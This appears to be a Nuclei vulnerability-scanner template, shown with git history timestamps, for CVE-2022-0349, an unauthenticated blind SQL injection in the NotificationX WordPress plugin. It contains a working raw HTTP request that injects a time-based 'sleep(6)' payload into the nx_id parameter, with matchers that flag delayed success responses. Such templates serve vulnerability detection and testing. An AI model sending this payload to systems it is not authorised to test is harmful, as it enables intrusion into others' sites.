nuclei-templates/cves/2022/CVE-2022-0349.yaml

36 lines
1.1 KiB
YAML
Raw Normal View History

id: CVE-2022-0349
2022-10-01 13:26:09 +00:00
info:
name: NotificationX WordPress plugin < 2.3.9 - SQL Injection
2022-10-01 13:26:09 +00:00
author: edoardottt
severity: critical
description: |
The NotificationX WordPress plugin before 2.3.9 does not sanitise and escape the nx_id parameter before using it in a SQL statement, leading to an Unauthenticated Blind SQL Injection.
2022-10-01 13:26:09 +00:00
reference:
- https://wpscan.com/vulnerability/1d0dd7be-29f3-4043-a9c6-67d02746463a
2022-11-15 11:55:02 +00:00
- https://wordpress.org/plugins/notificationx/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0349
2022-10-01 13:26:09 +00:00
classification:
cve-id: CVE-2022-0349
2022-11-15 11:55:02 +00:00
metadata:
verified: true
tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,notificationx
2022-10-01 13:26:09 +00:00
requests:
- raw:
- |
2022-11-16 09:39:24 +00:00
@timeout: 15s
POST /?rest_route=/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-11-15 11:55:02 +00:00
nx_id=sleep(6) -- x
2022-10-01 13:26:09 +00:00
matchers:
- type: dsl
dsl:
2022-11-15 11:55:02 +00:00
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "\"data\":{\"success\":true}")'
condition: and